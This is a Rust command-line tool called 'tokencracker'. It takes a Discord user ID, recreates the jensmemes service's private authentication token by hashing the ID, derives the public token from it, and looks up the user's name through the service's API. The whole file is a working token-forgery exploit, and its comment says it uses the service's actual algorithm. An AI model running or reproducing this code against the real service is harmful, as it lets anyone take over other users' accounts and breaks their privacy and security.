use anyhow::Result; use clap::{App, Arg}; use reqwest::{Client, Url}; use tokencracker::{api::UserResponse, hex_string_hash}; #[tokio::main] async fn main() -> Result<()> { let http = Client::builder().build()?; let matches = App::new("tokencracker") .arg( Arg::with_name("discord_id") .index(1) .required(true) .help("The discord ID of the user whos token to crack."), ) .get_matches(); let id = matches.value_of("discord_id").unwrap(); // yes, this is the actual jensmemes token algorythm let private = hex_string_hash(id); let public = hex_string_hash(&private); // get discord username from jensmemes API let response = http .get(Url::parse_with_params( "https://data.tilera.xyz/api/jensmemes/user", &[("id", &public)], )?) .send() .await?; let username = if let (200..=210, Ok(usr)) = (response.status().as_u16(), response.bytes().await) { let UserResponse { user, .. } = serde_json::from_slice::(&usr)?; user.name } else { "Not in Database".into() }; println!( "Username: {} Public Token: {} Private Token: {}", username, public, private ); Ok(()) }